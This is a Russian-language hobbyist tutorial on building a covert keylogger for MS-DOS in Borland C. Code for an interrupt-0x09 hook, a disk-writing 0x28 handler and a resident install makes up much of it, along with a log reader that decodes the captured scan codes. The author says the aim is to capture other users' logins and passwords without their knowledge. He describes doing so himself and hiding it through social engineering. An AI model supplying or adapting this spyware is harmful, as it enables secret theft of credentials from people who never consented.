**Кейлоггер под MS-DOS**

**ЧАСТЬ 1. Что такое кейлоггер и с чем его едят?**

Кейлоггер (key stroke programm, keylogger) - программа, которая запоминает список нажимаемых пользователем клавиш. Обычно, кейлоггеры работают без ведома пользователей (иначе зачем они нужны, вед юзер итак знает, что нажимает =) ). Обычно, такие программы используются для того, что бы узнать набираемый логин и пароль, причём, не обязательно при входе в систему (например на почтовом сервере). В данном конкретном случае, я буду говорить про написание кейлоггера только под MS-DOS. Почему? Всё очень просто: во многих учебных заведениях (в т.ч. и в ВУЗах) для обучения программированию используют компиляторы под ДОС (например, Borland C, Borland Pascal, etc.) Более того, в некоторых таких заведениях всё ещё пашет какой-нибудь старый Novell Netware, опять таки, под ДОС. Ну а самая главная причина, почему я выбрал ДОС - я собираюсь только продемонстрировать принципы работы таких программ. Если вам нужен кейлоггер под вынь, в яндексе найдёте туеву хучу таких... С мотивацией разобрались. Теперь, когда половина читателей стала набирать http://ya.ru/, я смело могу продолжать :)

**ЧАСТЬ 2. Приступим**

Итак, ещё раз... Наша цель - написать рабочий кейлоггер под DOS. Он должен отлавливать нажимаемые клавиши, а затем сохранять их в заданный файл. Для осуществления задуманного нам (не "нам" а "вам") нужно знать основы системного программирования под MS-DOS, и язык C (лучше всего Borland C++ v3.1). Под системным программированием я понимаю, прежде всего, знания из области: системные прерывания, порты ввода-вывода, работа с файлами и т.д. Если вы не знаете, что это такое, вам будет труднее понять написанное ниже.

Ладно. Хватит разговоров, пора начинать. Берём бутылку пива. Думаем... Что же происходит при нажатии клавиши? Любой системный программист скажет - аппаратное прерывание (и будет прав). Операционка ловит его и обрабатывает нажатую клавишу. Для того, что бы понять, какая клавиша нажата, используются порты ввода-вывода. А что должен сделать наш кейлоггер? Правильно! Он должен сам перехватить наше аппаратное прерывание от клавы, и прочитать клавишу из портов. А потом уже и операционка подгребёт, и тоже прочитает... Сразу оговорюсь, что такой способ не универсален. Например, какая-нить другая прога, которой надо считать клавиши, просто не даст нам обработать прерывание (установит свой обработчик, а наш не вызовет). Некоторые сверхсекьюрные проги это делают. Но об этом потом. А сейчас вспоминаем про функции getvect() и setvect(). Они позволяют определить используемый обработчик прерывания и установить свой соответственно. Обработчик - это наша с вами (или чужая) функция, которая обрабатывает прерывание. Как всё это работает?

1) Клава генерирует прерывание.

2) Вызывается обработчик. Его адрес хранится не далеко от начала памяти (зависит от прерывания), и система просто делает джамп по тому адресу, которое там видит. То есть что бы процессор сейчас не делал (кроме тех случаев, когда прерывания заблокированы вообще - RTFM Asm: cli/sti), система прердаст ему команду прыжка (джамп, jmp) по этому адресу, и он начнёт выполнять нашу функцию-обработчик.

3) Затем, процессор продолжит то, что делал раньше.

Об обработчиках по подробнее. Изначально, обработчик - это наша функция в операционной системе. То есть операционная система (далее ОС) сама обрабатывает нажатые клавиши (помещает их в буфер, выводит на экран и т.д.) Если мы ставим свой обработчик, то ОС в пролёте. Мы сами обрабатываем клавиши. Но! Если ОС не обработает прерывание (т.е. не вызывается её собственный обработчик) - будет хреново. В этом случае все другие программы не смогут узнать о нажатии клавиши, как и сама ОС. Мы не сможем даже набрать команду в консоли. Не сможем передвинуть маркер на другой файл в Norton Commander. В общем, остальным запущенным программам не будет известно, что пользователь нажал на клавишу. Как же быть? Элементарно, Ватсон! Из своего обработчика мы сделаем джамп на старый обработчик. А старый сделает джамп на тот, который был перед ним. И так далее. Последним обработчиком будет ОС (т.н. каскадное включение). Таким образом, сколько бы обработчиков не было, они выполнятся все по очереди. На радостях вспоминаем про не допитое пиво =) Таким образом поступают все системные программисты (я уже не про пиво... хотя... и это тоже). Перед тем как установить свой обработчик, узнаём адрес в памяти старого обработчика. После того, как сделали своё чёрное дело, вызываем следующий обработчик. (Вот приелись эти обработчики!).

Код на C++ (если не в Borland C++ V3.1, возможно, предётся что-нить поменять):

#include < dos.h > //Подключаем библиотеку dos.h для функций getvect() и setvect()

void interrupt far (\*oldhdl)(...); //Здесь будет адрес старого обработчика (указатель на функцию)

void interrupt far newhdl(...) //А это наш обработчик

{

// ...

oldhdl(); //Не забудем передать управление старому обработчику

}

int main()

{

oldhdl=getvect(0x09); //Запоминаем старый обработчик прерывания нумбер 0x09 (т.е. от клавы)

setvect(0x09, newhdl); //Ставим новый обработчик (на то же прерывание)

return 0;

}

Так, ничего не забыли? Прокрутим в башке ещё раз. Функция main() определяет старый обработчик прерывания 0x09 (клава) и пишет в переменную oldhdl (которая является указателем на функцию). Затем ставит свой обработчик на то же (0x09) прерывание. Выходит из проги (return 0). Теперь, если происходит девятое прерывание, процессор делает джамп по адресу нашей функции newhdl(). Функция выполнит то, что будет вместо строки "//..." и вызовет старый обработчик. Дальше не наша проблема. Правильно? Нет! Ещё раз. Наша функция main() завершает работу. Значит, прога выгружается из памяти. Когда процессор сделает джамп на адрес функции newhdl(), то там её уже не будет! Нам нужно, что бы наш обработчик висел в памяти даже после завершения функции main(). Как это сделать? Думаем... Вспоминаем про библиотечную функцию keep(). Как это они в мануале хорошо подметили: Exits and remains resident. По русски: Выходит и остаётся резидентом. Помните, что такое резидент и TSR? TSR - Terminate and Stay Resident, завершиться и остаться резидентом в памяти. То есть не выгружать прогу из памяти даже после завершения функции main(). Если выполнить эту функцию перед завершением main(), то прога перестанет выполняться, но не умрёт. То, что доктор прописал. Сказано-сделано.

#include < dos.h > //Подключаем библиотеку dos.h для функций getvect() и setvect()

extern unsigned \_heaplen = 1024;

extern unsigned \_stklen = 1024;

void interrupt far (\*oldhdl)(...); //Здесь будет адрес старого обработчика (указатель на функцию)

void interrupt far newhdl(...) //А это наш обработчик

{

// ...

oldhdl(); //Не забудем передать управление старому обработчику

}

int main()

{

oldhdl=getvect(0x09); //Запоминаем старый обработчик прерывания нумбер 0x09 (т.е. от клавы)

setvect(0x09, newhdl); //Ставим новый обработчик (на то же прерывание)

keep(0, \_SS+(\_SP/16)-\_psp);

return 0;

}

Как видишь, изменились 3 строки: я добавил глобальное объявление двух очень важных переменных, ну и саму функцию keep(). Переменные эти определяют, сколько памяти резервировать для проги (куча и стек соответственно). Необходимо ставить как можно меньше, но так, что бы прога не глючила и работала. Дело в том, что резиденты лежат в памяти всегда, и если они сожрут её слишком много, ничего будет не запустить (возможно, что и command.com). Я поставил 1024. Далее мы видим функцию keep(). Первый её параметр - код разв... возврата. У меня, как и у вас, это - ноль. Затем идут strange letters, которые всего-лишь говорят, сколько памяти должно быть зарезервировано: \_psp (Program Sement Prefix) - адрес начала нашей программы, \_SS (Stack Segment) - сегмент стека, \_SP (Stack Pointer) - указатель вершины стека. Конец нашей программы - это адрес вершины стека. На самом деле такое вычисление может оказаться не точным. Можно попробовать такой вариант: \_SS + (\_SP + запас\_памяти) / 16 - \_psp. Вот теперь половина готова. В общем-то прога уже будет работать, а для проверки можно вместо "//..." написать что-нибудь вроде sound(2600); delay(50); nosound();. Надеюсь, все поняли, что я имею в виду. При каждом срабатывании прерывания 0x09 будет короткий сигнал в спикере компа. Кстати, девятое прерывание срабатывает не только тогда, когда клавишу нажимают, но и когда её отпускают.

Пишим. Компилируем. Выходим из Borland C. Запускаем прогу. Если ничего не получилось, попробуйте ещё раз. Если опять не получилось, возможны варианты: 1) вы допустили ошибку, и 2) настройки компилятора не позволяют откомпилить прогу. В любом случае, читайте мануалы. И ещё одна вещь - не пытайтесь запускать подобные проги прямо из компилятора (Ctrl+F9), он всё равно вернёт все изменения в системе назад (в т.ч. и обработчики прерываний).

**ЧАСТЬ 3. Мутим кейлоггер**

Хорошо. Большую часть сделали. Теперь превратим это в нормальный кейлоггер. Для начала нам необходимо определить, какая именно клавиша была нажата. Результаты будут соответствовать не обычным кодам в соответствии с кодовой страницей (т.е. 'A'=65, 'B'=66...) а специальным, которые возвращает нам система, и которые уже потом переводятся в обычные. Например, код нажатой клавиши Esc будет равен единице. Почему я сказал именно "нажатой"? Потому, что если клавиша не нажата, то мы определяем последнюю нажатую. Код Esc в отпущенном состоянии равен 128 (если ничего не перепутал). Коды эти мы узнаём ассемблерской инструкцией in. В стандартных библиотеках С можно найти функции inport() и inportb(), которые реализуют эту инструкцию. Выглядит это так:

char symbol;

symbol = inportb(0x60); //0x60 - номер порта для считывания нажатых клавиш

Теперь, в переменной symbol будет лежать значение кода клавиши на момент выполнения inportb(). Остаётся только взять, и записать эту ботву в файл. Но не всё так просто...

**ЧАСТЬ 4. Пишем в файл**

Если вы думаете, что fwrite(&symbol, sizeof(symbol), 1, outfile) и всё в шоколаде, то вы заблуждаетесь. Нет, в принципе, иногда это будет работать (в консольке в виндах, например). Но в реальном режиме процессора и MS-DOSа мало вероятно. Где же здесь собака порылась? Я, в поисках той собаки, решил порыться в мануалах... Есть тут такая мутная штука, под названием "двадцать восьмое прерывание". Вычитал я такую вещь, что из некоторых обработчиков прерываний нельзя производить, например, запись на диск, чего не скажешь о 0x28. Вот почему: дело в том, что при попытке записи вызывается прерывание 0x21. Может быть вариант, что мы вызовем 0x21 находясь в нём же, что не есть хорошо (это называется нереентерабельностью). А из двадцать восьмого и на диск писать можно, и читать, и всё, что угодно. Вызывается оно нашим MS-DOSом в благоприятные для него времена. Тем не менее, для полной уверенности, что мы находимся в безопасной секции, можно ещё использовать недокументированную функцию DOS AH=0x34 и определение флага занятости ДОС. Флаг будет находиться по адресу ES:BX и принимать значение 1 если секция нереентерабельна. Истина где-то рядом... Пишем ещё один обработчик для 0x28. В нашем обработчике 0x09 ставим флаг в единичку, если нам надо записать symbol. Каждый раз, при вызове DOSом нашего обработчика 0x28, он будет проверять флаг. Если последний равен 1, то, если флаг занятости позволяет, пишем наш symbol в файл и ставим флаг обратно в ноль. Вот и всё.

void interrupt far newhdl\_28(...) // Новый обработчик для прерывания 0x28

{

if(flag == 1) // Если флаг равен 1, тогда нужно писать в файл

{

// ... (пишем в файл, при этом можем ещё и флаг занятости ДОСа проверить, на всякий пожарный)

flag = 0; // ясен пень - флаг снова надо сбросить

// (но только если нам удалось записать символ)

}

oldhdl\_28(); // Вызываем следующий обработчик 0x28

}

void interrupt far newhdl(...) // Новый обработчик для прерывания 0x09 (клава)

{

symbol = inportb(0x60); // Читаем символ

flag = 1; // Ставим флаг в единицу (то есть даём "двадцать восьмому"

// знать о том, что хотим записать символ в файл)

oldhdl(); // А теперь вызываем старый обработчик прерывания от клавы

}

Если происходит прерывание 0x09, то вызываться должен обработчик newhdl(). Он считывает нажатую (или отпущенную) клавишу в symbol и ставит свой флаг flag в еденичку. При следующем вызове прерывания 0x28 запустится функция newhdl\_28(), которая, сверяясь с флагом flag, при необходимости, пишет symbol в файл на диске. Естественно, нам ещё надо будет объявить указатели на функции oldhdl и oldhdl\_28, считать в них значения, указывающие на старые обработчики прерываний 0x09 и 0x28 соответственно, и установить в качестве новых обработчиков newhdl() и newhdl\_28(). Всё это нужно сделать в функции main() и, разумеется, до вызова keep(). Переменные symbol и flag также должны быть объявлены и преравнены нулю (если этого не сделать, возможны сбои). Если будем проверять флаг занятости ДОС, необходимо объявить указатель на тот самый флаг занятости, вызвать прерывание 0x21 с регистром AH=0x34 и записав в этот указатель значение ES:BX, т.е. DOSflag=MK\_FP(\_ES,\_BX). После этого можем им пользоваться при проверке.

int main()

{

\_AH=0x34;

asm int 0x21;

DOSflag = MK\_FP(\_ES, \_BX); // Получили флаг занятости дос по указателю DOSflag

oldhdl=getvect(0x09);

oldhdl\_28=getvect(0x28); // Плучили адреса старых обработчиков прерываний 0x09 и 0x28

setvect(0x09, newhdl);

setvect(0x28, newhdl\_28); // Установили свои обработчики на прерывания 0x09 и 0x28

keep(0, \_SS+(\_SP/16)-\_psp); // Провозгласили себя резидентом

return 0;

}

Ну вот, осталось только объявить нужные переменные и дописать функцию записи в файл в обработчике newhdl\_28() (и при необходимости добавить проверку занятости ДОС, как было описано выше). А в остальном прога готова. Если хочется сделать её ещё круче, то можно при старте добавить проверку того, не запущена ли она уже. Для этого есть много способов, но я рекомендую повеситься ещё на одно прерывание, и при обращении к нему обработчик (если он есть) вернёт нам в регистрах какой-нибудь свой идентификатор. Так мы удостоверимся, что он жив-здоров, а следовательно, и наш кейлоггер уже живёт где-то в памяти. Если обработчик не ответит, значит и кейлоггера нет. А при хитрой комбинации клавиш (например Ctrl+F12) можно добавить функцию отключения проги, если вдруг приспичет. Но это всё мелкие доработки, которые в любом случае не повлияют на процесс ведения статистики нажатых клавиш.

ЧАСТЬ 5. Читаем скэн-коды из логов

Представим, что кейлоггер дописан и работает. Он сохраняет скэн-коды нажатых клавиш в файл как простой ряд чисел, не производя шифрование. Теперь не плохо бы перевести этот файл в удобочитаемый вид. Для этого предлагается использовать отдельную программу, которая должна читать скэн-коды и переводить их в символы.

// LogRead.c (компилится в Borland C++ v3.1 и не только)

#include < stdio.h >

#define FILENAME "c:\\keys.dat"

FILE \*in;

unsigned char scancode;

char str[128];

void convert(unsigned char scancode, char \*str) // Функция преобразует скэн-код в строку с описанием символа

{

if(scancode>128)

{

sprintf(str, "[Released]");

scancode-=128;

}

else sprintf(str, "[Pressed]");

switch(scancode)

{

case 1: sprintf(str, "%s %s", str, "Escape"); break;

case 2: sprintf(str, "%s %s", str, "1"); break;

case 3: sprintf(str, "%s %s", str, "2"); break;

...

case 11: sprintf(str, "%s %s", str, "10"); break;

case 12: sprintf(str, "%s %s", str, "- or \_"); break;

case 13: sprintf(str, "%s %s", str, "= or +"); break;

case 16: sprintf(str, "%s %s", str, "Q"); break;

...

case 26: sprintf(str, "%s %s", str, "[ or {"); break;

case 27: sprintf(str, "%s %s", str, "] or }"); break;

case 30: sprintf(str, "%s %s", str, "A"); break;

...

case 39: sprintf(str, "%s %s", str, "; or :"); break;

case 40: sprintf(str, "%s %s", str, "' or \""); break;

case 44: sprintf(str, "%s %s", str, "Z"); break;

...

case 52: sprintf(str, "%s %s", str, ". or >"); break;

case 53: sprintf(str, "%s %s", str, "/ or ?"); break;

case 57: sprintf(str, "%s %s", str, "Space"); break;

case 29: sprintf(str, "%s %s", str, "Ctrl"); break;

case 42: sprintf(str, "%s %s", str, "LeftShift"); break;

case 54: sprintf(str, "%s %s", str, "RightShift"); break;

case 56: sprintf(str, "%s %s", str, "Alt"); break;

case 14: sprintf(str, "%s %s", str, "BackSpace"); break;

case 43: sprintf(str, "%s %s", str, "\\ or |"); break;

case 83: sprintf(str, "%s %s", str, "Del"); break;

case 28: sprintf(str, "%s %s", str, "Enter"); break;

case 15: sprintf(str, "%s %s", str, "Tab"); break;

case 41: sprintf(str, "%s %s", str, "` or ~"); break;

case 72: sprintf(str, "%s %s", str, "UpArrow"); break;

case 80: sprintf(str, "%s %s", str, "DownArrow"); break;

case 75: sprintf(str, "%s %s", str, "LeftArrow"); break;

case 77: sprintf(str, "%s %s", str, "RightArrow"); break;

case 58: sprintf(str, "%s %s", str, "CapsLock"); break;

default: sprintf(str, "%s UNKNOWN KEY #%d", str, scancode);

}

}

int main()

{

printf("\r\n\r\nKeyLog`s Reader v1.0 Copyright (c) Pashix, 2004\r\n\r\n");

in=fopen(FILENAME, "rb");

if(!in)

{

printf("Error while open file, halting...\r\n");

return 1; // Если файл не удалось открыть - выходим из программы

}

while(!feof(in))

{

fread(&scancode, 1, 1, in);

convert(scancode, str);

printf("%s\r\n", str);

}

fclose(in);

return 0;

}

Итак, предложенная программа будет читать файл с именем C:\keys.dat (можно изменить, см. define FILENAME), предполагая наличие в нём скэн-кодов, оставленных кейлоггером, и выводить в stdout (т.е. скорее всего, на экран) названия клавиш в человеческом виде. Например, строка [Pressed] Escape означает то, что пользователь нажал на клавишу Esc, а строка [Released] LeftShift означает, что кнопка LeftShift (левый Shift, кто не понял :) ) была только-что отпущена. Там, где написано "...", вам предстоит дописать остальные варианты. Сделать это очень просто: смотрим на клавиши до и после многоточия, смотрим на клавиатуру и понимаем, что нужно подставить. Эта читалка логов умеет распозновать следующие символы: A-Z 0-9 / \ | Shift Ctrl Alt BkSpace Del Enter CapsLock и некоторые другие. Если этого мало, вы можете дописать остальные варианты самостоятельно (я этого не сделал потому, что экономил место). И ещё. Если будет необходимость выводить результат не на экран, а в файл, в командной сторке MS DOS необходимо запустить программу вот так:

C:\ > logread.exe > c:\logread.txt

В этом случае программа-читалка переведёт содержимое c:\keys.dat и запишет его в c:\logread.txt

**ЧАСТЬ 6. Злоключение**

Ну вот, в общем-то, и всё. Остальное сможете и сами написать. Основная хитрость в создании кейлоггера под ДОС - двадцать восьмое прерывание. Если о нём не знать - геморрой будет обеспечен. Хотя мне удавалось обходиться и без него (прерывания, не геморроя :) ). Сначала, я пробывал писать в файл прямо из обработчика, но прога удивительным образом повисала каждый раз. Затем извратился так: при запуске проги, в функции main() я выделял энное количество памяти (aka буфер), адрес его писал в файл (1) и делал keep(). В самом обработчике писал уже не на диск, а в тот самый буфер. Затем, запускал другую прогу, которая добывала из файла (1) адрес буфера, и затем записывала содержимое буфера в файл (2). То есть нажатые клавиши попадали в файл (2). У этого способа есть три недостатка с технической стороны:

1) Буфер необходимо было делать маленьким (память-то у нашего резидента - не резиновая! См. про \_stklen выше) А чем меньше буфер, тем чаще приходилось вызывать вторую прогу, для переноса содержимого его (буфера) в файл. У меня буфер вмещал 150 символов (для паролей хватало).

2) Вызов самой проги для переноса из буфера в файл - задача не простая, с учётом того, что я не хотел, что бы кто-либо что-либо заподозрил. Странно бы это выглядело, если б я всё время подбегал к компу с кейлоггером и запускал в консольке какую-то прогу. Тут помогала социальная инженерия :)

3) Написание такого алгоритма взаимодействия требовало большего количества знаний, чем создание одной программки, которая сама всё и добывает, и сразу же сохраняет куда нам надо.

Обоих недостатков лишена программа с использованием прерывания 0x28. Если хотите разобраться получше в тонкостях MS-DOS и узнать все её возможности (даже не документированные), качайте себе мануал под названием Tech Help (только на английском. На русском - sux!)